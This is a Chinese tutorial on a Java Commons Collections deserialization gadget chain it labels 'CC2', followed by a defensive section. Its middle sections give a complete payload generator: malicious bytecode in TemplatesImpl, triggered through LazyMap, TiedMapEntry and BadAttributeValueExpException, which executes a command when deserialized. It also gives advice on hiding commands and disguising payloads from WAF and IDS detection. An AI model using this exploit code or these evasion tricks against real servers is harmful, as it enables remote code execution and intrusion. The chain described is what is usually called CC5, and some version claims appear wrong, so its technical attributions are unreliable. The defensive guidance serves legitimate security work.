1. 项目概述:从一次“意外”的RCE说起

几年前,我在做一次内部红蓝对抗演练,目标是某个用Java写的、看起来平平无奇的后台管理系统。常规的SQL注入、XSS都试了一圈,收效甚微。就在准备收工时,我随手抓了一个经过Base64编码的、名为 userInfo 的Cookie,丢进Burp的Decoder里看了一眼,开头是 rO0 。这个十六进制序列 AC ED 00 05 的开头,对Java安全有点经验的朋友都知道,这是Java序列化数据的“魔术头”。我心里咯噔一下,感觉有戏。经过一番构造和测试,最终通过这个入口,成功在目标服务器上执行了系统命令,拿到了Shell。事后分析漏洞链,发现它利用的正是Commons Collections库,更具体地说,是其中一条被称为CC2的利用链。这次经历让我深刻体会到,Java反序列化漏洞就像一颗深埋的“地雷”,而CC链则是引爆这颗地雷最经典、也最值得研究的“引信”之一。

CC2链,特指利用Apache Commons Collections 3.1、3.2.1及4.0版本(注意,4.0版本类名有变化)中相关类构造的、不依赖 TransformedMap LazyMap 的另一种反序列化利用链。它与更为人熟知的CC1、CC6链在构造思路上有显著不同,核心在于利用了 javax.management.BadAttributeValueExpException 类的 readObject 方法作为反序列化的入口点(Gadget),并结合 TemplatesImpl 类来最终实现代码执行。理解CC2链,不仅能帮助我们应对更广泛的真实环境(因为某些版本的CC库或代码写法可能限制了CC1/CC6的利用),更是深入理解Java反序列化“武器化”思路的绝佳样本。它涉及了从异常类触发、到动态类加载、再到字节码执行的完整链条,非常适合有一定Java基础、想深入安全领域的朋友研究。

2. 核心原理与链式调用拆解

要理解CC2,我们不能只停留在“怎么用”的层面,必须搞清楚它“为什么能行”。这条链的巧妙之处在于它串联了JDK自身的类和第三方库的类,在反序列化这个“重建对象”的过程中,触发了一系列非预期的敏感操作。

2.1 起点:BadAttributeValueExpException的readObject

整个链条的入口点是一个JDK自带的异常类: javax.management.BadAttributeValueExpException 。我们来看一下它的 readObject 方法(简化后的关键逻辑):

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val = valObj;
    } else if (System.getSecurityManager() == null // 关键条件:安全管理器为空
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
        val = valObj.toString(); // 触发toString()方法!
    } else {
        val = (String) AccessController.doPrivileged(...);
    }
}

这里的 val 是类的一个私有成员变量。在反序列化时,如果 val 字段存储的不是基本类型或其包装类、也不是String,并且系统没有启用安全管理器(这在绝大多数Web应用中是默认情况),那么程序就会调用这个对象的 toString() 方法。 这就为我们提供了一个稳定的、广泛存在的反序列化触发点:控制 val 字段为一个精心构造的对象,使其 toString() 方法被调用时,能触发后续的危险操作。

注意 :很多文章会提到 TiedMapEntry toString hashCode 作为入口,这在CC6链中很常见。但CC2链在Commons Collections 4.0版本中,更经典和通用的入口是 BadAttributeValueExpException ,因为它不依赖于 LazyMap get 方法,适用性更广。

2.2 跳板:TiedMapEntry的toString与getValue

我们的目标是让 val 指向一个 TiedMapEntry 对象。这个类在 org.apache.commons.collections4.keyvalue 包中。看看它的 toString() 方法:

public String toString() {
    return getKey() + "=" + getValue();
}

toString() 调用了 getValue() 方法:

public V getValue() {
    return map.get(key);
}

这里就很清晰了: TiedMapEntry 内部维护了一个 map 对象和一个 key 。当调用 getValue() 时,它会去调用内部 map get(key) 方法。如果我们能让这个 map 是一个特殊的、在 get 方法被调用时会执行某些操作的Map,链条就得以传递。

2.3 桥梁:LazyMap的装饰与触发

在Commons Collections中, LazyMap 就是这样一个特殊的Map。它继承自 AbstractMapDecorator ,核心功能是“懒加载”:当你通过 get(key) 方法获取一个不存在的键值时,它会通过一个预设的 Transformer (转换器)来生成这个值并放入Map。

CC2链在这里的用法很巧妙。我们并不直接让 TiedMapEntry.map 指向一个 LazyMap ,而是指向一个 LazyMap.decorate() 方法装饰过的Map。但关键在于,为了在反序列化时自动触发 get ,我们需要确保 TiedMapEntry key map 不存在 。这样, toString()->getValue()->map.get(key) 就会触发 LazyMap 的懒加载逻辑,调用其内部的 Transformer

2.4 核心:ChainedTransformer与最终执行

Transformer 是Commons Collections中的一个接口,用于将一个对象转换成另一个对象。 ChainedTransformer 是其中一个实现,它像一条链条,可以按顺序执行多个 Transformer

CC2链的最终目标,是让这个 Transformer 链条能够执行任意Java代码。这里就需要引入另一个关键的JDK类: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 。这个类原本用于处理XSLT转换,但它有一个危险的特性:它可以通过 getOutputProperties() newTransformer() 方法,触发其内部存储的字节码( _bytecodes 字段)的加载和初始化,从而执行静态代码块中的代码。

因此,我们的 Transformer 链条的最后一步,就是一个 InvokerTransformer ,它利用反射调用 TemplatesImpl newTransformer() 方法。整个 ChainedTransformer 的执行流程可以构想为:

  1. 某个无关的转换(甚至可以是 ConstantTransformer 返回一个固定对象)。
  2. 一个 InvokerTransformer 反射调用 TemplatesImpl.newTransformer()
  3. newTransformer() 方法内部会加载 _bytecodes 中的类,实例化并初始化,导致静态代码块执行。

那么,如何将 TemplatesImpl 实例传递给这个链条呢? 这里用到了另一个 Transformer ConstantTransformer 。它的作用就是无论输入什么,都返回一个构造时传入的固定对象。我们可以创建一个 ConstantTransformer ,其固定对象就是我们精心构造的、包含恶意字节码的 TemplatesImpl 实例。然后将其作为 ChainedTransformer 的第一个环节。这样,当链条执行时,第一个 ConstantTransformer 直接返回 TemplatesImpl 对象,传递给下一个 InvokerTransformer 去反射调用其方法。

2.5 完整链条串联

现在,我们把整个链条倒着串联起来,理解反序列化时的执行顺序:

  1. 反序列化开始 ObjectInputStream 读取 BadAttributeValueExpException 对象。
  2. 触发toString :在 readObject 中,满足条件后对 val 字段(即 TiedMapEntry 对象)调用 toString()
  3. 调用getValue TiedMapEntry.toString() 调用 getValue()
  4. 触发Map.get TiedMapEntry.getValue() 调用其内部 map (即 LazyMap )的 get(key) 方法,且 key 不存在于Map中。
  5. 触发Transformer LazyMap.get() 触发懒加载逻辑,调用其内部 factory (即 ChainedTransformer )的 transform 方法。
  6. 执行转换链
    • ChainedTransformer 开始执行。
    • 第一个 ConstantTransformer.transform() 返回恶意 TemplatesImpl 对象。
    • 第二个 InvokerTransformer.transform(TemplatesImpl) 通过反射调用 TemplatesImpl.newTransformer()
  7. 加载恶意类 TemplatesImpl.newTransformer() 方法内部加载 _bytecodes 字段中的字节码,并初始化类。
  8. 代码执行 :恶意类的静态代码块(或构造函数)中的代码(如 Runtime.getRuntime().exec(“calc”) )被执行,完成攻击。

这条链的逻辑非常精妙,它利用了反序列化过程中的多个“约定俗成”的方法调用( readObject , toString , get ),将控制流一步步导向最终的危险操作。理解这个流程,是后续构造Payload和应对防御措施的基础。

3. 环境准备与Payload构造实战

理论分析之后,我们动手构造一个完整的CC2利用链Payload。这里我以Commons Collections 4.0版本为例,因为它更常见,且与3.x版本在包名和类名上有所不同( org.apache.commons.collections4 )。请确保你在一个隔离的测试环境(如虚拟机、Docker容器)中进行操作。

3.1 依赖与环境搭建

首先,创建一个Maven项目,引入必要的依赖。除了Commons Collections,我们还需要能够操作Java字节码的工具,这里使用 javassist 来方便地生成恶意类。

<dependencies>
    <!-- Commons Collections 4.0 -->
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
    <!-- 用于生成字节码 -->
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.28.0-GA</version>
    </dependency>
</dependencies>

编写一个测试类,我们先准备好恶意字节码。我们的目标是生成一个类,其静态代码块中包含执行系统命令的代码。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC2PayloadGenerator {
    // 生成恶意字节码的方法
    public static byte[] generateEvilBytecode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Evil");
        // 设置父类为AbstractTranslet,这是TemplatesImpl加载字节码的要求
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 在静态代码块中插入恶意代码,例如打开计算器(Windows)
        String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        byte[] byteCode = cc.toBytecode();
        cc.detach(); // 释放资源
        return byteCode;
    }
}

3.2 构造TemplatesImpl对象

TemplatesImpl 对象是承载恶意字节码的容器。我们需要通过反射来设置其内部字段,因为很多关键字段是 private 的。

public static TemplatesImpl createTemplatesImpl(byte[] bytecode) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    
    // 通过反射设置私有字段
    setFieldValue(templates, “_bytecodes”, new byte[][]{bytecode});
    setFieldValue(templates, “_name”, “Pwn”); // 名字随意,非空即可
    setFieldValue(templates, “_tfactory”, new TransformerFactoryImpl());
    // _class 字段会在加载字节码后自动生成,这里不需要设置
    
    return templates;
}

// 通用的反射设置字段工具方法
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

实操心得 _bytecodes 字段需要的是一个二维字节数组 byte[][] ,因为一个TemplatesImpl可以包含多个类。 _name 字段不能为null,否则在后续加载时会出问题。 _tfactory 必须设置一个有效的 TransformerFactoryImpl 实例。

3.3 构建Transformer执行链

现在构造核心的 ChainedTransformer 。我们的链条设计是:先返回 TemplatesImpl 对象,再反射调用其 newTransformer 方法。

public static ChainedTransformer createTransformerChain(TemplatesImpl templates) throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(templates), // 直接返回恶意TemplatesImpl对象
        new InvokerTransformer(“newTransformer”, null, null) // 反射调用newTransformer()
    };
    return new ChainedTransformer(transformers);
}

InvokerTransformer 的三个参数分别是:方法名、参数类型数组、参数数组。这里调用无参的 newTransformer() ,所以后两个参数都是 null

3.4 组装LazyMap与TiedMapEntry

接下来,用上面构造的 ChainedTransformer 来装饰一个 LazyMap ,并将其包裹进 TiedMapEntry

public static TiedMapEntry createTiedMapEntry(ChainedTransformer chain) throws Exception {
    // 创建一个空的HashMap,并用LazyMap装饰它,工厂设置为我们的Transformer链
    Map innerMap = new HashMap();
    Map lazyMap = LazyMap.lazyMap(innerMap, chain);
    
    // 创建一个TiedMapEntry,其key在Map中不存在,以确保触发get
    String evilKey = “pwn”;
    TiedMapEntry entry = new TiedMapEntry(lazyMap, evilKey);
    
    return entry;
}

这里的关键是 evilKey (例如 ”pwn” )在 innerMap (即 lazyMap 底层)中是不存在的。这样,当 TiedMapEntry.getValue() 调用 map.get(“pwn”) 时,就会触发 LazyMap 的懒加载逻辑。

3.5 设置BadAttributeValueExpException入口点

最后,创建入口点对象,并通过反射设置其 val 字段为我们构造的 TiedMapEntry

public static BadAttributeValueExpException createBadAttributeEntry(TiedMapEntry entry) throws Exception {
    BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);
    setFieldValue(badAttribute, “val”, entry);
    return badAttribute;
}

注意, BadAttributeValueExpException 的构造函数需要一个 String 参数,我们传 null 即可,因为后续会通过反射覆盖 val 字段。

3.6 序列化与触发测试

将上述步骤串联起来,生成Payload并序列化到文件,然后模拟反序列化触发。

public static void main(String[] args) throws Exception {
    // 1. 生成恶意字节码
    byte[] evilCode = generateEvilBytecode();
    
    // 2. 创建TemplatesImpl对象承载字节码
    TemplatesImpl templates = createTemplatesImpl(evilCode);
    
    // 3. 构造Transformer链
    ChainedTransformer chain = createTransformerChain(templates);
    
    // 4. 构造TiedMapEntry和LazyMap
    TiedMapEntry entry = createTiedMapEntry(chain);
    
    // 5. 构造最终入口点
    BadAttributeValueExpException payloadObj = createBadAttributeEntry(entry);
    
    // 6. 序列化到文件
    String filePath = “cc2_payload.ser”;
    try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filePath))) {
        oos.writeObject(payloadObj);
    }
    System.out.println(“Payload 已生成至:” + filePath);
    
    // 7. 模拟反序列化触发(在另一个进程或稍后执行)
    System.out.println(“n模拟反序列化触发...”);
    try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filePath))) {
        ois.readObject(); // 这里会触发命令执行
    } catch (Exception e) {
        e.printStackTrace();
    }
}

运行这个 main 方法,如果环境配置正确,你应该会看到计算器程序被弹出。这证明了整个CC2利用链从构造到触发是成功的。

重要注意事项 :在实际攻击中,你通常无法直接向目标服务器写入文件。你需要将序列化后的字节数组进行Base64编码,然后通过HTTP请求参数、Cookie、RMI协议等方式发送给存在漏洞的端点。接收端在反序列化这个数据时就会触发漏洞。

4. 链式构造的难点与变通技巧

在实际构造CC2链时,你可能会遇到一些预料之外的问题。这里我分享几个常见的难点和对应的解决技巧,这些是你在很多标准教程里看不到的“坑”。

4.1 版本兼容性问题

问题 :Commons Collections 3.x 和 4.x 的类名和包名不同。例如, TiedMapEntry 在3.x中是 org.apache.commons.collections.keyvalue.TiedMapEntry ,而在4.x中是 org.apache.commons.collections4.keyvalue.TiedMapEntry 。如果你的目标环境使用的是3.x版本,直接使用4.x的Payload会因 ClassNotFoundException 而失败。

解决技巧

  1. 信息收集 :尽可能通过报错信息、依赖分析工具或已知信息判断目标使用的CC版本。
  2. 双链准备 :准备针对CC 3.2.1和CC 4.0的两个版本的Payload。CC 3.2.1的CC2链可能需要依赖 AnnotationInvocationHandler 作为入口,构造更为复杂。
  3. 通用化尝试 :有时,即使包名不同,但类结构相似。可以尝试使用Java反射来动态加载类,但这在序列化Payload中很难实现。更实际的做法是针对不同版本生成不同的Payload文件。

4.2 TemplatesImpl的JDK限制

问题 TemplatesImpl 类位于 com.sun.org.apache.xalan.internal.xsltc.trax 包中,属于JDK的内部API( sun.* , com.sun.* )。在某些严格的运行环境或高版本JDK中,可能会因为模块化(Module System)导致访问限制,抛出 IllegalAccessError

解决技巧

  1. 寻找替代Gadget :如果 TemplatesImpl 不可用,需要寻找其他能够从字节码加载并执行代码的类。例如,在某些环境中,可以利用 BeanFactory 相关类、 Groovy ClassLoader Spring PropertyPathFactoryBean 等。这需要根据目标应用的依赖库来定制,难度较大。
  2. JVM参数绕过 :在测试或某些可控环境,可以通过添加JVM启动参数 --add-opens java.base/java.lang=ALL-UNNAMED 等来开放内部API的访问权限,但这在真实攻击中几乎不可能。
  3. 关注CC链的其他变种 :CC1、CC6链最终执行命令通常使用 InvokerTransformer 反射调用 Runtime.exec() ,这不依赖 TemplatesImpl 。但CC2链的设计初衷之一就是为了绕过某些对 InvokerTransformer 直接执行命令的防御(如Security Manager),所以需要权衡。

4.3 反序列化过程中的“副作用”干扰

问题 :在构造 LazyMap 时,我们手动调用 map.get(key) 可能会触发Transformer链的执行,导致在生成Payload的本地机器上就执行了恶意命令,这是非常危险的。

解决技巧

  1. 使用惰性链 :在构造 ChainedTransformer 时,先传入一个无害的Transformer数组(例如 new Transformer[]{new ConstantTransformer(1)} )。在将所有对象组装完毕、并设置好 BadAttributeValueExpException.val 之后,再通过反射将 ChainedTransformer 内部的 iTransformers 字段替换为真正的恶意Transformer数组。
    // 先构造无害链
    Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)};
    ChainedTransformer chain = new ChainedTransformer(fakeChain);
    
    // ... 组装LazyMap, TiedMapEntry, BadAttributeValueExpException ...
    
    // 最后,通过反射替换为恶意链
    Transformer[] realChain = new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer(“newTransformer”, null, null)
    };
    setFieldValue(chain, “iTransformers”, realChain);
    
  2. 避免触发 :在组装 TiedMapEntry LazyMap 时,确保你的测试代码不会无意中调用 toString() hashCode() getValue() 等方法。使用反射直接设置字段是最安全的方式。

4.4 Payload的稳定与隐蔽性

问题 :直接执行 Runtime.getRuntime().exec(“calc”) 的Payload过于明显,且可能因环境路径问题失败。同时,序列化后的数据特征(如类名)容易被WAF或IDS检测。

解决技巧

  1. 命令编码与混淆 :对要执行的命令进行Base64编码,然后在恶意类的静态块中解码执行。或者使用混淆工具对生成的恶意类字节码进行混淆。
    // 示例:执行Base64编码的命令
    String cmd = “Y2FsYy5leGU=”; // “calc.exe”的Base64
    String code = “try { Runtime.getRuntime().exec(new String(java.util.Base64.getDecoder().decode(”” + cmd + “”))); } catch (Exception e) {}”;
    cc.makeClassInitializer().insertBefore(code);
    
  2. 使用BCEL ClassLoader等替代 :在某些老版本JDK中,可以利用 com.sun.org.apache.bcel.internal.util.ClassLoader 来加载字节码,这提供了另一种不依赖 TemplatesImpl 的途径,但同样受限于内部API。
  3. 序列化数据包装 :将最终的Payload对象再包装一层到自定义的、看似无害的类中(如果目标应用存在这样的类)。或者对序列化后的字节进行异或、压缩等简单变换,在发送前再还原,以绕过简单的特征匹配。

5. 防御视角与漏洞排查指南

作为一名开发者或安全工程师,理解攻击是为了更好的防御。面对CC2这类反序列化漏洞,我们可以从多个层面进行防护。

5.1 安全开发实践

  1. 输入源控制

    • 白名单校验 :对任何接受序列化数据的入口(如RMI端口、HTTP请求中的参数、消息队列数据)进行严格校验,确保其来源可信。
    • 避免反序列化不可信数据 :这是最根本的原则。如果业务上必须传输对象,考虑使用JSON、XML、Protobuf等更安全的序列化格式。
  2. 使用安全的反序列化库

    • 考虑使用更安全的替代方案,如 Jackson (配置 polymorphicTypeValidation )、 Kryo (配置 setRegistrationRequired(true) )等,并严格限制可反序列化的类。
    • 对于Java原生反序列化,可以使用 ObjectInputFilter (JDK 9+)来定义反序列化过滤器,设置一个严格的类白名单。
      // 示例:使用ObjectInputFilter
      ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(“maxdepth=10;!org.apache.commons.collections4.*;!javax.management.BadAttributeValueExpException”);
      ObjectInputStream ois = new ObjectInputStream(inputStream);
      ois.setObjectInputFilter(filter);
      Object obj = ois.readObject();
      
  3. 依赖库管理

    • 升级与替换 :将Apache Commons Collections升级到安全的版本(如4.4及以上,这些版本在反序列化方面做了安全加固)。但注意,升级可能引入兼容性问题。
    • 重写/阉割 :如果无法升级,可以考虑重写关键的危险类(如 InvokerTransformer ChainedTransformer ),或者使用JVM的 -Xbootclasspath/a 参数替换掉JAR包中的类,移除其危险方法。

5.2 运行时检测与防护

  1. Agent探针 :使用Java Agent技术,在类加载或方法执行层面进行监控。可以检测是否有来自 InvokerTransformer TemplatesImpl 等危险类的反射调用或类加载行为。开源项目如 RASP (运行时应用自保护)就是基于此原理。

  2. SecurityManager :启用并配置严格的Java安全管理器( SecurityManager ),可以限制 Runtime.exec() 反射调用 定义类 等敏感操作。但配置复杂,对应用性能有影响,且容易被绕过(如利用 AccessController.doPrivileged )。

  3. WAF/IDS规则 :在网络层或主机层部署防护设备,配置规则检测序列化数据的特征,如 AC ED 00 05 魔术头、 BadAttributeValueExpException TiedMapEntry 等类名的Base64编码形式。

5.3 漏洞排查与应急响应

如果怀疑系统存在反序列化漏洞,可以按以下步骤排查:

  1. 资产梳理 :识别所有可能接受外部输入并进行Java反序列化的端点,包括:

    • 开放RMI服务的端口(默认1099)。
    • HTTP接口中接收 application/x-java-serialized-object 格式的端点。
    • 消息队列(如JMS)的消费者。
    • 任何使用了 ObjectInputStream 且数据源来自外部的代码位置。
  2. 依赖检查 :使用 mvn dependency:tree OWASP Dependency-Check 等工具,检查项目中是否引入了存在已知漏洞的库版本,特别是Commons Collections 3.x, 4.0。

  3. 代码审计 :全局搜索以下关键词:

    • ObjectInputStream
    • readObject()
    • readUnshared()
    • XMLDecoder (这也是一个常见的反序列化漏洞点)
    • RMIServer UnicastRemoteObject
  4. 漏洞验证 :在测试环境,尝试使用 ysoserial 等工具生成CC2链的Payload,对可疑端点进行安全测试。 务必在授权和隔离环境进行!

  5. 日志监控 :在应用日志中监控 ClassNotFoundException InvalidClassException 等反序列化相关异常,这些可能是攻击尝试的痕迹。同时监控系统是否有突然启动新进程的行为。

5.4 一个简单的检测脚本思路

你可以编写一个简单的Java Agent,在 ObjectInputStream.resolveClass 方法被调用时,打印出正在反序列化的类名,这对于监控和调试非常有帮助。

import java.lang.instrument.Instrumentation;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class SerializationMonitorAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className,
                                    Class<?> classBeingRedefined,
                                    ProtectionDomain protectionDomain,
                                    byte[] classfileBuffer) {
                if (“java/io/ObjectInputStream”.equals(className)) {
                    // 这里可以通过字节码增强技术,在resolveClass方法入口插入日志代码
                    // 打印出 resolved class name
                }
                return classfileBuffer; // 返回null或原字节码表示不修改
            }
        });
    }
}

将这个Agent打包成JAR,并在应用启动时通过 -javaagent: 参数加载,就可以在不修改业务代码的情况下监控反序列化行为。

CC2链的分析和理解,是Java反序列化安全研究中的一个重要里程碑。它不仅仅是一个漏洞利用方式,更展示了在复杂的对象交互和反射机制下,如何将看似无害的功能串联成具有破坏力的攻击链。对于开发者,这提醒我们要时刻警惕外部数据的危险性;对于安全研究者,这提供了一个深入理解Java底层机制的绝佳案例。防御永远是一个动态的过程,在了解攻击手法的基础上,构建纵深防御体系,才能有效保障应用安全。

更多推荐